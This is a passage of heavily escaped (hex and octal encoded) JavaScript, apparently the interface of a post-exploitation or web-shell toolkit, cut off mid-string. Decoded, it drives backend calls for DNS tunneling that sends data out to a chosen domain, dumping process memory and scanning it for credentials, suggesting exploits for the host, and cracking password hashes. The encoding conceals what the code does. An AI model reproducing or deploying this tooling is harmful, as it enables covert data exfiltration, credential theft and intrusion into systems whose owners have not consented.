4\x20\x3d\40\144\157\x63\165\x6d\x65\156\x74\56\x67\145\164\x45\154\x65\155\145\156\x74\102\x79\x49\144\50\47\143\162\171\x70\164\x6f\x2d\160\x61\163\163\167\157\x72\144\x27\51\56\x76\x61\154\x75\x65\x3b\12\11\x9\11\x69\x66\x20\50\x21\146\x69\x6c\145\120\141\x74\150\x20\x7c\174\40\x21\x70\141\x73\x73\x77\157\162\144\51\40\162\x65\x74\165\x72\x6e\x20\164\x68\x69\x73\x2e\164\x6f\141\x73\164\x28\x27\106\151\x6c\x65\40\x70\141\x74\150\x20\x61\x6e\x64\40\x70\141\x73\x73\167\x6f\x72\144\x20\141\162\x65\x20\162\x65\161\165\x69\162\145\x64\x2e\47\x2c\40\x27\145\162\162\157\x72\x27\51\x3b\xa\11\x9\x9\x63\x6f\156\x73\x74\40\x72\145\x73\40\75\40\141\x77\141\x69\164\x20\164\x68\x69\163\x2e\x61\160\151\x28\x27\145\156\x63\x72\171\160\x74\x5f\x66\151\154\x65\47\x2c\40\173\x20\146\151\154\x65\x5f\160\141\x74\x68\x3a\40\x66\x69\x6c\x65\120\x61\x74\x68\54\x20\160\x61\163\163\x77\157\162\144\x20\175\51\x3b\xa\11\11\11\x69\x66\x20\50\162\x65\163\40\46\x26\x20\x72\x65\x73\x2e\x73\164\x61\x74\x75\163\40\x3d\x3d\x3d\40\x27\163\x75\x63\x63\x65\x73\x73\47\51\x20\x7b\12\11\11\x9\11\144\157\x63\165\155\x65\156\x74\56\x67\145\164\x45\154\x65\x6d\x65\156\x74\102\x79\x49\x64\50\x27\x63\162\171\160\x74\x6f\x2d\162\x65\x73\x75\x6c\x74\163\47\51\x2e\x69\x6e\156\145\162\110\124\x4d\114\40\x3d\40\140\74\160\40\163\164\x79\154\145\75\x22\143\157\154\157\162\72\x76\x61\x72\x28\55\x2d\141\143\x63\x65\x6e\164\55\x67\162\x65\145\x6e\x29\x3b\42\76\x24\x7b\x72\x65\x73\56\x6d\x65\163\x73\141\147\145\x7d\x3c\142\162\x3e\x4f\165\x74\x70\165\164\72\40\x24\x7b\162\x65\x73\56\x6f\x75\164\x70\165\164\137\x66\151\x6c\x65\x7d\74\x2f\160\x3e\x60\73\12\11\x9\x9\11\x74\x68\151\163\x2e\x61\144\144\116\x6f\164\151\146\x69\x63\x61\164\x69\x6f\156\x28\x27\103\162\171\160\x74\157\40\x54\157\157\x6c\x73\x27\54\x20\47\106\151\x6c\x65\40\x65\156\x63\x72\171\160\164\145\144\x20\163\x75\x63\143\145\x73\x73\x66\x75\x6c\154\171\x27\x2c\x20\x27\x73\x75\143\x63\x65\x73\163\x27\x29\73\12\x9\11\11\175\40\x65\154\163\145\x20\x7b\12\11\x9\11\11\144\x6f\x63\165\155\145\156\x74\x2e\x67\x65\x74\105\x6c\x65\155\x65\156\164\x42\x79\111\x64\x28\47\x63\162\171\x70\164\x6f\55\162\x65\163\x75\x6c\x74\x73\x27\51\x2e\151\156\x6e\x65\162\x48\124\115\114\x20\75\40\140\74\x70\x20\x73\164\x79\x6c\145\x3d\x22\x63\x6f\154\157\162\x3a\x76\x61\x72\x28\x2d\x2d\x61\143\143\145\156\x74\55\x72\x65\x64\51\x3b\x22\76\x24\173\x72\x65\163\77\56\x6d\145\163\x73\141\147\145\x20\174\x7c\x20\x27\x45\156\143\162\171\160\164\151\x6f\x6e\40\146\x61\151\154\x65\x64\56\47\x7d\x3c\57\160\76\140\73\12\11\11\x9\175\xa\x9\x9\x7d\x2c\xa\x9\11\x61\x73\171\156\143\x20\x64\145\143\162\171\160\164\x46\151\x6c\x65\50\x29\x20\x7b\xa\11\x9\x9\x63\157\x6e\163\x74\40\146\151\x6c\x65\120\x61\x74\150\x20\x3d\x20\144\x6f\x63\x75\155\x65\156\164\x2e\147\x65\x74\105\x6c\x65\x6d\x65\156\164\x42\171\x49\144\50\x27\x63\162\x79\x70\164\157\x2d\146\151\x6c\145\x2d\x70\141\164\150\47\x29\x2e\x76\141\154\x75\145\x3b\xa\11\x9\11\x63\x6f\x6e\163\x74\x20\x70\141\163\163\167\x6f\x72\144\x20\x3d\x20\144\157\x63\165\155\145\156\164\x2e\x67\145\x74\105\x6c\x65\x6d\145\x6e\164\x42\171\111\144\50\x27\143\162\171\x70\164\157\55\160\x61\163\x73\x77\x6f\x72\144\47\51\x2e\166\x61\154\x75\145\x3b\12\x9\11\11\151\146\40\x28\41\146\151\x6c\x65\120\x61\x74\x68\x20\x7c\x7c\x20\41\x70\141\x73\x73\167\x6f\x72\144\x29\40\x72\145\164\x75\162\x6e\x20\164\150\151\x73\x2e\x74\x6f\141\x73\x74\50\x27\106\x69\154\x65\x20\x70\141\x74\x68\x20\x61\156\144\40\x70\141\163\163\167\x6f\x72\144\40\x61\x72\145\40\x72\x65\x71\x75\x69\162\x65\144\x2e\x27\x2c\x20\x27\x65\x72\x72\157\x72\47\x29\73\12\x9\11\x9\x63\x6f\x6e\x73\x74\x20\x72\145\x73\x20\75\40\141\167\141\151\164\40\x74\150\x69\x73\x2e\x61\x70\151\x28\47\x64\x65\x63\x72\171\160\x74\137\x66\151\154\x65\x27\x2c\40\x7b\x20\146\151\x6c\x65\x5f\x70\141\x74\150\x3a\x20\146\151\x6c\145\x50\141\164\x68\x2c\x20\x70\x61\x73\x73\x77\x6f\x72\144\40\175\51\73\12\x9\11\x9\x69\146\40\x28\x72\145\x73\40\46\x26\x20\162\145\x73\56\x73\164\141\164\x75\x73\40\75\x3d\75\40\47\x73\x75\x63\x63\x65\x73\163\x27\x29\x20\173\xa\11\x9\11\11\144\x6f\x63\165\x6d\145\156\164\x2e\x67\x65\x74\105\154\x65\155\x65\x6e\164\x42\171\111\x64\50\47\x63\x72\171\160\164\x6f\x2d\x72\x65\x73\165\154\164\x73\47\51\56\x69\156\x6e\x65\x72\110\x54\115\x4c\x20\75\40\140\x3c\160\40\163\164\x79\x6c\145\75\42\x63\x6f\154\157\x72\x3a\x76\141\x72\50\55\x2d\x61\x63\x63\x65\156\164\55\147\162\x65\x65\156\51\x3b\42\x3e\x24\x7b\162\x65\x73\x2e\155\x65\x73\163\141\147\x65\x7d\x3c\142\162\x3e\117\165\x74\160\x75\x74\x3a\40\44\173\162\x65\x73\56\157\165\164\160\x75\x74\x5f\146\151\154\x65\x7d\x3c\x2f\x70\x3e\140\73\12\x9\11\x9\x9\164\150\151\163\56\141\144\144\116\157\x74\x69\146\x69\x63\141\x74\151\x6f\x6e\50\x27\103\162\171\x70\x74\157\x20\x54\x6f\157\x6c\x73\x27\54\40\47\106\151\154\x65\40\x64\x65\x63\162\x79\160\x74\x65\144\40\x73\165\x63\143\145\163\163\146\165\154\x6c\x79\47\54\40\47\x73\165\143\143\x65\x73\x73\47\x29\x3b\xa\x9\11\x9\175\40\x65\154\163\x65\40\x7b\xa\x9\11\x9\11\144\x6f\x63\x75\x6d\x65\x6e\164\x2e\147\145\x74\x45\154\145\x6d\145\x6e\x74\102\x79\x49\x64\50\47\143\162\x79\x70\164\157\55\162\145\163\165\154\x74\163\x27\51\56\x69\156\x6e\145\x72\x48\x54\x4d\114\x20\75\x20\140\74\x70\40\x73\164\x79\x6c\145\75\42\x63\x6f\x6c\x6f\162\x3a\x76\141\x72\x28\55\55\141\143\x63\145\x6e\164\x2d\162\145\144\51\73\x22\76\x24\x7b\x72\x65\163\77\56\155\x65\163\163\141\x67\145\40\x7c\x7c\40\47\x44\145\143\162\171\160\164\x69\157\x6e\40\x66\141\x69\154\145\144\x2e\x27\x7d\x3c\x2f\160\x3e\x60\x3b\xa\11\x9\x9\x7d\12\x9\x9\x7d\x2c\12\11\11\xa\x9\11\x2f\x2f\x20\x44\x4e\x53\x20\124\165\x6e\x6e\145\x6c\x69\x6e\x67\12\11\x9\141\x73\x79\x6e\x63\x20\144\x6e\x73\124\165\156\156\145\154\x53\145\x6e\x64\50\x29\x20\x7b\12\x9\x9\11\143\x6f\156\x73\164\40\144\141\x74\x61\x20\75\x20\144\157\143\x75\x6d\145\156\164\x2e\147\145\164\x45\x6c\x65\155\145\156\x74\102\171\x49\144\50\47\x64\x6e\163\x2d\x64\141\164\x61\x27\51\56\166\141\x6c\x75\x65\x3b\12\x9\11\x9\143\x6f\x6e\x73\x74\40\144\x6f\155\141\151\x6e\x20\75\x20\144\157\x63\x75\x6d\145\156\164\x2e\x67\145\164\105\154\145\x6d\145\x6e\164\102\x79\x49\x64\50\x27\144\x6e\163\55\144\157\155\x61\x69\x6e\47\51\x2e\x76\x61\x6c\165\145\x3b\xa\11\11\x9\151\x66\40\50\41\x64\x61\164\x61\40\x7c\174\x20\41\144\x6f\x6d\x61\151\156\x29\x20\162\145\x74\165\x72\156\40\164\150\151\x73\x2e\164\x6f\x61\163\164\50\x27\104\x61\x74\141\x20\141\x6e\144\x20\144\157\x6d\141\151\156\40\141\x72\x65\x20\x72\x65\161\x75\151\x72\145\144\x2e\47\x2c\x20\47\145\x72\x72\157\162\x27\51\73\xa\x9\11\x9\143\x6f\156\x73\164\x20\x72\145\163\x20\75\x20\x61\x77\x61\151\x74\x20\164\x68\151\x73\x2e\141\160\151\x28\x27\x64\x6e\163\137\164\165\156\156\145\x6c\137\x73\145\x6e\x64\47\54\x20\173\40\144\141\x74\x61\54\40\144\157\155\x61\x69\156\40\175\x29\73\12\11\11\11\x69\x66\x20\x28\162\x65\x73\40\x26\x26\40\162\x65\163\x2e\x73\x74\x61\x74\165\x73\40\75\75\x3d\40\47\x73\165\x63\x63\145\163\163\x27\x29\40\x7b\12\11\x9\x9\x9\144\157\143\x75\x6d\145\156\x74\x2e\147\x65\x74\105\x6c\x65\155\145\156\x74\x42\171\x49\144\50\47\x64\x6e\163\55\162\145\163\x75\154\164\163\x27\51\x2e\151\x6e\x6e\145\162\124\x65\x78\164\x20\x3d\40\140\x53\x65\x6e\x74\40\44\173\x72\x65\x73\x2e\x72\145\x73\x75\154\164\x73\56\x6c\x65\156\x67\164\150\175\40\143\150\x75\x6e\153\163\x20\x76\151\141\40\104\x4e\123\x2e\134\x6e\x5c\x6e\44\x7b\x72\145\163\x2e\x72\145\163\x75\x6c\x74\163\x2e\x6d\141\x70\x28\x72\x20\75\76\x20\140\x24\x7b\x72\x2e\163\x75\x62\x64\x6f\x6d\x61\151\x6e\175\72\40\44\173\x72\56\x72\x65\x73\157\154\x76\145\144\x20\77\x20\47\x4f\113\x27\x20\72\40\47\106\x41\111\x4c\105\x44\x27\175\x60\x29\56\x6a\157\151\156\x28\x27\x5c\156\47\x29\x7d\x60\x3b\xa\x9\x9\11\x9\x74\150\151\163\x2e\141\144\144\x4e\157\164\x69\146\151\x63\141\164\x69\x6f\156\x28\x27\104\x4e\123\40\124\x75\x6e\x6e\145\x6c\151\x6e\x67\x27\x2c\40\x60\x53\145\x6e\x74\40\x24\173\x72\145\163\x2e\x72\145\x73\x75\x6c\x74\x73\56\154\x65\x6e\x67\164\150\x7d\x20\x44\116\x53\40\143\150\x75\156\x6b\x73\x60\x2c\x20\x27\163\x75\143\x63\145\x73\163\x27\x29\73\xa\x9\x9\x9\175\12\11\x9\175\54\12\x9\x9\141\163\171\x6e\x63\x20\144\156\163\124\165\x6e\156\145\x6c\x52\145\x63\x65\x69\x76\x65\x28\x29\40\173\12\x9\x9\x9\143\157\x6e\x73\164\x20\x64\157\155\141\151\156\x20\75\x20\x64\x6f\x63\x75\155\145\156\164\x2e\147\145\x74\105\154\145\x6d\145\x6e\164\x42\x79\x49\144\x28\47\x64\x6e\x73\x2d\144\157\155\141\151\x6e\x27\51\x2e\166\x61\x6c\x75\145\x3b\xa\x9\11\x9\x69\146\40\50\41\x64\x6f\x6d\x61\x69\x6e\x29\40\162\145\164\165\162\x6e\x20\x74\x68\x69\x73\x2e\164\x6f\x61\163\164\x28\47\104\x6f\155\141\151\156\40\151\x73\40\x72\x65\161\x75\x69\162\145\x64\56\47\54\x20\47\145\162\x72\x6f\162\47\x29\x3b\xa\11\11\x9\x63\x6f\156\163\x74\40\x72\145\163\40\75\40\141\167\x61\151\164\40\164\150\x69\x73\56\141\160\151\50\47\144\156\163\x5f\164\165\x6e\156\x65\154\137\162\145\x63\145\x69\x76\x65\x27\54\40\173\40\x64\x6f\155\x61\151\x6e\x20\175\x29\x3b\12\11\x9\x9\x69\x66\x20\50\162\145\x73\40\46\46\x20\162\145\163\56\163\x74\141\164\x75\163\x20\75\x3d\x3d\40\x27\x73\165\143\143\x65\x73\163\47\51\40\173\12\x9\11\11\11\x64\157\x63\x75\155\x65\156\x74\x2e\147\x65\x74\x45\154\145\155\x65\156\164\102\171\x49\x64\50\x27\144\156\163\55\162\145\x73\x75\x6c\x74\x73\47\51\x2e\151\x6e\156\145\162\124\x65\170\164\x20\75\40\140\122\x65\143\x65\151\x76\145\x64\x20\144\141\x74\x61\x3a\x5c\156\134\x6e\x24\173\x72\145\x73\x2e\x64\141\164\141\x20\x7c\174\x20\47\116\x6f\40\x64\x61\164\x61\40\x72\x65\143\145\x69\166\x65\x64\x27\x7d\x5c\x6e\x5c\x6e\x52\x61\x77\72\x20\44\173\x72\x65\x73\56\x72\x61\x77\x20\x7c\174\x20\47\116\x2f\101\x27\175\x60\73\xa\11\11\11\11\164\150\151\163\x2e\141\144\x64\x4e\x6f\164\151\146\x69\x63\x61\164\x69\157\156\50\47\x44\x4e\123\x20\124\x75\156\156\x65\x6c\151\x6e\x67\x27\x2c\x20\47\104\141\x74\x61\x20\x72\145\x63\145\151\166\145\x64\40\166\151\141\x20\104\116\123\47\x2c\40\47\163\x75\143\x63\145\x73\163\x27\x29\73\xa\x9\11\11\x7d\12\x9\11\175\54\12\x9\x9\xa\x9\x9\57\57\40\115\x65\x6d\157\162\171\x20\104\x75\x6d\x70\x20\x41\156\x61\154\171\172\x65\x72\xa\11\11\141\163\171\156\x63\x20\144\x75\x6d\x70\115\x65\155\x6f\x72\x79\x28\x29\40\x7b\12\11\11\x9\143\x6f\156\163\x74\x20\160\151\x64\40\x3d\40\x70\x61\x72\163\x65\111\156\164\50\x64\x6f\143\x75\155\x65\x6e\164\56\x67\145\164\105\x6c\x65\155\145\156\x74\102\x79\x49\144\x28\47\x6d\x65\155\x64\x75\155\x70\55\x70\x69\x64\47\x29\56\x76\141\x6c\x75\145\x29\73\12\x9\x9\x9\151\x66\40\x28\41\160\x69\144\x29\x20\162\x65\164\165\162\x6e\40\x74\150\151\x73\56\164\x6f\x61\x73\164\x28\47\x50\111\104\40\x69\163\x20\162\x65\x71\165\x69\162\145\x64\56\x27\x2c\x20\x27\x65\162\162\x6f\162\x27\x29\x3b\12\x9\11\11\x63\157\156\163\x74\40\x6f\165\164\x70\x75\x74\x45\x6c\x20\75\40\144\157\143\x75\x6d\145\156\x74\56\x67\145\x74\105\154\x65\155\x65\156\x74\x42\x79\x49\x64\x28\x27\155\145\155\144\165\155\x70\55\x6f\165\164\x70\x75\164\47\x29\73\xa\11\x9\x9\x6f\x75\164\160\165\x74\105\154\56\x69\156\x6e\145\162\x54\x65\170\164\40\75\40\x60\104\x75\x6d\x70\x69\156\x67\40\155\145\x6d\x6f\x72\x79\x20\146\x6f\x72\x20\120\x49\x44\40\44\x7b\x70\x69\x64\175\56\x2e\x2e\140\73\xa\11\x9\x9\143\157\x6e\163\x74\x20\x72\x65\163\x20\x3d\40\x61\167\141\x69\164\x20\164\x68\151\x73\x2e\141\160\151\x28\x27\144\x75\x6d\x70\137\x70\x72\x6f\143\145\163\x73\137\x6d\x65\155\x6f\x72\x79\x27\54\x20\x7b\x20\x70\x69\x64\40\x7d\51\x3b\12\11\x9\x9\x69\146\40\50\x72\x65\x73\x20\x26\46\40\162\145\x73\56\163\x74\x61\x74\165\x73\x20\75\x3d\x3d\x20\x27\163\x75\143\x63\145\x73\x73\x27\51\40\173\12\x9\x9\x9\11\157\165\164\160\x75\x74\x45\x6c\x2e\151\x6e\x6e\x65\x72\124\x65\170\x74\x20\75\40\140\44\173\x72\145\x73\x2e\x6d\145\x73\163\x61\x67\145\175\134\156\x5c\156\44\173\162\145\x73\x2e\x6f\x75\164\160\x75\164\175\134\156\134\x6e\44\173\162\145\163\56\146\x69\154\145\x20\x3f\40\140\104\x75\155\x70\40\x66\x69\154\145\72\40\x24\173\x72\x65\x73\56\146\151\x6c\x65\175\40\x28\x24\x7b\162\145\x73\x2e\x73\151\x7a\x65\175\x20\142\x79\x74\145\163\x29\140\x20\72\40\x27\x27\x7d\x60\x3b\xa\x9\11\x9\x9\x69\x66\x20\50\162\145\163\56\x66\x69\x6c\x65\51\x20\x64\x6f\x63\165\155\x65\x6e\x74\x2e\x67\145\x74\105\154\145\155\x65\x6e\164\102\x79\111\x64\50\x27\155\145\x6d\x64\x75\155\160\x2d\x66\x69\154\145\x27\x29\56\166\x61\x6c\x75\x65\40\x3d\40\x72\145\163\56\x66\151\x6c\x65\73\12\x9\x9\11\11\x74\x68\151\x73\56\141\x64\x64\116\x6f\164\x69\146\x69\143\x61\164\x69\x6f\156\x28\x27\x4d\145\155\x6f\x72\171\40\x41\x6e\x61\154\x79\172\x65\x72\47\54\40\140\115\x65\x6d\157\162\171\40\x64\x75\x6d\x70\145\144\x20\146\x6f\162\x20\x50\111\x44\40\x24\x7b\160\151\144\175\140\54\40\x27\x73\x75\x63\143\x65\x73\163\47\51\x3b\12\11\x9\x9\x7d\x20\x65\x6c\x73\145\x20\x7b\12\x9\x9\x9\11\157\x75\x74\160\165\x74\x45\x6c\56\x69\156\156\145\162\124\145\170\x74\40\x3d\x20\x72\145\x73\x3f\x2e\155\x65\163\163\141\147\145\40\174\x7c\40\x27\x44\x75\155\160\x20\146\x61\151\x6c\145\144\56\x27\x3b\xa\x9\x9\x9\x7d\12\11\11\x7d\x2c\xa\11\x9\x61\163\x79\156\143\40\x61\156\141\x6c\x79\x7a\x65\x4d\145\x6d\157\x72\x79\x28\x29\40\x7b\12\x9\11\11\x63\x6f\156\163\x74\40\146\151\154\145\120\141\164\x68\x20\75\x20\x64\x6f\143\165\x6d\x65\156\164\x2e\147\145\164\105\154\x65\155\145\x6e\164\102\x79\x49\x64\x28\x27\155\x65\155\144\x75\155\160\55\x66\151\154\145\47\51\56\x76\141\x6c\x75\145\x3b\xa\11\x9\11\143\157\156\163\164\40\x70\141\x74\164\145\x72\156\x20\75\x20\x64\157\x63\165\x6d\145\x6e\x74\x2e\147\x65\x74\105\154\145\x6d\145\x6e\x74\x42\x79\x49\144\x28\47\155\x65\x6d\144\165\155\160\55\160\x61\x74\164\145\162\156\x27\51\x2e\166\141\154\x75\x65\x3b\xa\11\x9\x9\151\146\40\x28\x21\x66\151\154\x65\x50\141\164\x68\51\40\x72\145\x74\165\162\x6e\40\164\x68\151\x73\56\x74\x6f\141\163\x74\50\x27\x44\x75\155\x70\x20\146\x69\x6c\145\x20\x70\141\x74\x68\40\151\163\40\x72\145\x71\165\x69\162\145\x64\56\x27\x2c\40\x27\x65\x72\162\157\x72\47\x29\73\xa\11\11\x9\143\157\x6e\163\x74\x20\157\165\x74\160\165\x74\x45\x6c\x20\x3d\40\x64\157\x63\x75\x6d\145\156\x74\x2e\147\x65\x74\105\154\145\x6d\145\x6e\164\x42\x79\111\144\x28\47\x6d\145\x6d\x64\x75\155\x70\x2d\157\165\164\x70\165\x74\47\x29\x3b\xa\11\11\x9\157\165\164\x70\x75\164\x45\x6c\x2e\x69\x6e\x6e\x65\x72\x54\x65\170\164\40\x3d\40\x27\x41\156\x61\154\171\x7a\151\x6e\147\40\x6d\x65\155\157\x72\171\40\144\x75\x6d\160\x2e\56\56\47\x3b\xa\11\x9\x9\x63\x6f\x6e\163\164\x20\162\x65\163\x20\x3d\x20\x61\x77\141\x69\164\x20\x74\x68\x69\163\x2e\141\x70\x69\x28\x27\x61\x6e\141\x6c\171\172\x65\x5f\x6d\x65\x6d\x6f\162\171\x5f\144\165\x6d\160\47\x2c\x20\x7b\40\x66\151\154\145\x5f\x70\x61\164\150\72\x20\146\151\154\145\120\141\x74\x68\54\40\160\141\164\x74\x65\x72\156\40\x7d\51\73\12\x9\x9\x9\x69\x66\x20\x28\162\x65\163\40\x26\x26\x20\162\x65\163\56\163\x74\x61\x74\x75\x73\40\75\75\75\x20\x27\x73\165\x63\143\145\163\x73\47\51\40\173\12\x9\11\x9\x9\x63\157\156\163\x74\40\162\40\75\40\162\x65\x73\x2e\x72\x65\x73\x75\154\x74\x73\x3b\xa\11\11\11\11\157\165\164\x70\x75\164\105\154\56\x69\156\x6e\145\162\x54\145\x78\164\40\75\40\140\123\151\x7a\145\x3a\40\x24\x7b\162\56\x73\x69\172\145\175\40\142\x79\164\145\x73\x5c\x6e\134\156\x53\164\162\x69\x6e\x67\163\x20\146\x6f\165\156\144\40\50\x66\151\x72\x73\164\x20\61\60\x30\x29\72\x5c\156\x24\x7b\x72\56\x73\x74\x72\151\x6e\147\x73\56\163\x6c\151\143\145\x28\60\54\40\x32\60\51\x2e\x6a\x6f\151\156\50\47\134\x6e\47\x29\175\x5c\156\134\x6e\x24\173\x72\56\143\162\145\144\x65\156\164\151\141\154\163\56\154\145\x6e\x67\x74\x68\x20\x3e\x20\x30\40\x3f\40\x60\103\x72\145\144\145\156\164\151\x61\x6c\163\40\146\x6f\165\156\144\72\x5c\156\44\x7b\162\56\x63\162\x65\144\145\x6e\164\151\x61\154\163\56\152\x6f\151\x6e\50\47\134\156\x27\x29\x7d\x60\x20\72\40\x27\116\157\x20\x63\162\145\x64\145\x6e\164\151\x61\x6c\163\x20\146\157\165\x6e\144\56\47\x7d\140\73\xa\x9\x9\11\x9\164\150\x69\x73\56\x61\x64\144\116\x6f\164\151\x66\151\x63\x61\x74\x69\x6f\x6e\50\x27\x4d\x65\x6d\157\x72\171\40\x41\156\x61\154\171\x7a\145\x72\47\54\x20\47\115\x65\155\157\x72\171\x20\x64\165\155\x70\40\141\156\x61\x6c\171\x7a\145\144\47\x2c\40\x27\163\x75\143\x63\145\x73\163\x27\51\73\12\x9\11\x9\x7d\x20\145\154\163\145\40\173\xa\x9\11\11\11\x6f\x75\x74\x70\165\x74\105\154\56\151\x6e\x6e\145\162\124\x65\x78\164\x20\x3d\x20\162\145\x73\77\x2e\155\145\x73\x73\141\x67\145\x20\x7c\x7c\x20\47\101\x6e\141\x6c\x79\163\151\163\40\146\141\151\154\145\144\x2e\x27\73\12\x9\x9\x9\x7d\xa\11\x9\x7d\54\12\x9\11\12\11\11\57\x2f\40\105\x78\x70\154\x6f\151\164\x20\123\165\x67\x67\145\163\x74\x65\x72\xa\11\11\x61\163\x79\x6e\143\x20\163\x75\x67\x67\145\163\164\105\x78\x70\x6c\157\x69\164\163\x28\51\40\x7b\12\x9\11\x9\143\x6f\156\x73\164\x20\x63\x6f\x6e\164\141\151\156\145\x72\40\x3d\40\x64\157\143\165\x6d\x65\156\164\56\x67\x65\x74\x45\x6c\145\x6d\x65\156\x74\102\x79\111\144\50\x27\x65\170\x70\154\157\151\x74\x2d\163\x75\147\147\x65\163\164\151\157\x6e\163\47\51\x3b\12\x9\x9\x9\x63\157\156\164\x61\x69\x6e\x65\162\x2e\151\x6e\x6e\x65\162\110\x54\115\x4c\x20\x3d\40\47\74\x70\x3e\101\x6e\141\154\x79\x7a\x69\156\147\40\x73\171\163\x74\x65\x6d\x2e\x2e\56\x3c\57\160\x3e\47\x3b\12\11\11\x9\143\x6f\156\163\x74\40\162\145\x73\40\x3d\x20\141\167\141\x69\164\x20\x74\150\151\x73\56\141\160\x69\50\x27\163\x75\x67\147\x65\163\x74\137\145\170\x70\x6c\x6f\x69\164\x73\x27\51\73\xa\x9\x9\11\x69\146\x20\50\x72\145\x73\x20\x26\x26\40\x72\x65\163\x2e\x73\x74\x61\x74\x75\x73\x20\75\75\75\40\x27\163\x75\143\x63\x65\163\163\x27\51\x20\173\12\11\11\x9\x9\154\x65\164\40\150\164\x6d\154\40\75\x20\140\74\x70\76\74\x73\164\x72\x6f\156\x67\76\117\123\40\x49\x6e\146\157\x3a\74\57\x73\x74\162\x6f\x6e\x67\76\x20\x24\173\162\145\163\56\x6f\x73\x5f\151\156\x66\x6f\x7d\74\x2f\x70\x3e\74\x68\162\x3e\140\73\xa\x9\11\11\11\x72\145\x73\x2e\x73\x75\147\x67\145\163\164\x69\157\x6e\163\56\x66\x6f\162\105\141\x63\x68\50\163\x20\75\76\40\173\xa\11\x9\11\11\x9\x68\164\155\x6c\40\53\x3d\40\140\74\144\151\166\40\x73\164\171\154\x65\x3d\x22\155\x61\x72\147\x69\x6e\x2d\x62\x6f\164\164\x6f\155\x3a\x31\x72\x65\155\x3b\40\x70\x61\x64\x64\151\156\147\72\61\60\x70\x78\x3b\x20\x62\141\x63\153\147\x72\x6f\165\156\144\x3a\166\x61\162\x28\x2d\x2d\142\x67\x2d\x6c\x69\147\150\164\x29\x3b\40\142\x6f\162\144\x65\x72\x2d\162\141\144\x69\x75\163\x3a\66\x70\170\x3b\42\x3e\xa\x9\11\11\x9\x9\11\74\163\164\x72\157\156\x67\76\x24\173\x73\x2e\x74\171\x70\145\175\74\57\x73\164\x72\157\156\147\76\x3c\142\162\76\xa\x9\x9\11\11\x9\11\44\x7b\163\x2e\144\145\x73\143\x72\x69\x70\x74\x69\x6f\156\175\74\x62\162\76\12\x9\x9\11\11\x9\x9\74\x73\x6d\141\x6c\154\76\x53\x65\x61\x72\143\x68\72\40\44\173\x73\x2e\163\145\x61\162\143\150\x7d\x3c\57\x73\155\141\x6c\154\x3e\xa\11\11\11\11\11\x3c\x2f\144\x69\166\x3e\140\x3b\12\x9\x9\11\x9\175\51\x3b\xa\11\11\11\x9\143\x6f\156\164\141\x69\x6e\145\162\56\151\x6e\156\145\162\x48\124\x4d\x4c\40\75\x20\x68\x74\155\154\x3b\12\11\11\11\11\x74\x68\151\x73\x2e\141\144\x64\x4e\157\164\x69\146\151\x63\141\164\151\157\156\50\x27\x45\x78\160\x6c\x6f\151\164\x20\123\x75\147\147\x65\163\x74\145\x72\47\54\40\140\x46\x6f\165\156\144\x20\x24\x7b\162\x65\x73\56\x73\x75\147\x67\145\x73\x74\151\x6f\x6e\163\56\x6c\x65\156\x67\x74\x68\x7d\x20\160\157\164\x65\156\164\151\141\154\x20\x65\170\160\x6c\157\151\164\x73\140\54\40\x27\151\156\x66\x6f\47\x29\73\12\x9\x9\11\x7d\xa\11\x9\x7d\54\xa\x9\11\xa\x9\11\57\x2f\x20\x50\141\x73\163\167\x6f\x72\x64\x20\x43\x72\141\x63\x6b\x65\162\12\11\x9\x61\x73\171\156\x63\x20\x63\x72\141\143\x6b\110\x61\163\x68\x28\51\40\x7b\xa\11\11\11\x63\157\x6e\163\164\x20\150\x61\x73\150\x20\75\x20\x64\157\x63\x75\x6d\x65\156\164\56\147\145\x74\x45\154\145\x6d\x65\x6e\x74\x42\x79\111\x64\50\x27\150\x61\163\150\x2d\x69\x6e\160\x75\164\x27\51\56\x76\x61\154\165\x65\73\12\x9\11\x9\x63\x6f\x6e\163\x74\x20\150\x61\163\150\x54\x79\160\x65\x20\75\x20\144\x6f\143\165\x6d\145\156\x74\56\147\x65\164\x45\x6c\145\x6d\145\x6e\x74\x42\x79\111\x64\x28\47\x68\141\163\x68\55\x74\171\160\145\47\x29\56\166\x61\154\165\145\73\12\x9\x9\11\x69\x66\x20\x28\x21\x68\x61\163\x68\51\40\162\x65\164\x75\162\156\x20\164\x68\x69\x73\x2e\x74\x6f\141\163\164\50\47\110\x61\163\x68\40\151\163\x20\x72\x65\161\165\151\162\145\x64\x2e\47\54\40\47\x65\x72\162\157\162\47\51\x3b\12\11\11\11\x63\x6f\156\163\x74\40\143\x6f\156\164\x61\151\x6e\145\x72\x20\x3d\40\x64\x6f\143\165\155\x65\x6e\164\56\147\x65\x74\105\x6c\145\155\145\x6e\x74\102\x79\x49\x64\50\47\x63\x72\x61\x63\153\x2d\162\x65\163\x75\154\x74\x73\x27\x29\x3b\xa\x9\11\x9\x63\157\x6e\164\141\x69\x6e\x65\162\56\151\x6e\156\145\x72\x48\x54\x4d\114\x20\75\40\47\x3c\x70\x3e\x43\x72\x61\143\x6b\x69\x6e\x67\x20\150\x61\x73\150\x2e\x2e\56\x3c\x2f\x70\76\x27\x3b\xa\x9\11\x9\x63\157\156\x73\x74\40\x72\x65\163\40\x3d\x20\x61\x77\141\x69\164\40\x74\150\151\163\56\x61\x70\151\50\x27\143\162\141\x63\153\x5f\x68\141\x73\x68\x27\54\40\x7b\x20\x68\x61\x73\150\x2c\40\150\x61\163\150\137\164\x79\x70\x65\x3a\40\x68\141\163\x68\124\171\x70\145\x20\x7d\51\73\12\x9\11\x9\x69\146\x20\50\x72\x65\x73\40\46\46\x20\x72\145\163\56\x73\x74\141\x74\165\163\40\75\75\75\40\47\x73\165\143\x63\145\x73\163\47\x29\x20\x7b\xa\x9\11\x9\11\x69\x66\40\x28\162\x65\x73\x2e\162\x65\163\x75\x6c\164\163\56\x63\x72\141\x63\x6b\x65\144\51\40\173\12\x9\11\x9\x9\x9\143\157\156\x74\141\151\156\x65\162\56\151\156\156\145\162\x48\x54\115\114\40\75\40\x60\74\160\40\x73\x74\171\154\x65\x3d\42\143\157\154\157\x72\72\166\141\162\50\x2d\55\x61\143\x63\145\156\164\55\x67\x72\145\145\156\51\73\x22\x3e\74\163\164\162\157\156\147\x3e\103\122\x41\x43\113\105\104\x21\74\x2f\163\x74\x72\157\156\147\76\x3c\x62\162\76\x48\141\x73\x68\40\x54\171\x70\x65\x3a\40\x24\173\x72\x65\163\56\x68\x61\163\150\137\164\x79\160\x65\x7d\x3c\x62\162\76\x50\141\x73\163\x77\x6f\x72\144\x3a\x20\74\x73\164\x72\x6f\x6e\x67\76\x24\173\x72\x65\163\56\x72\x65\x73\165\x6c\164\163\x2e\160\x61\x73\x73\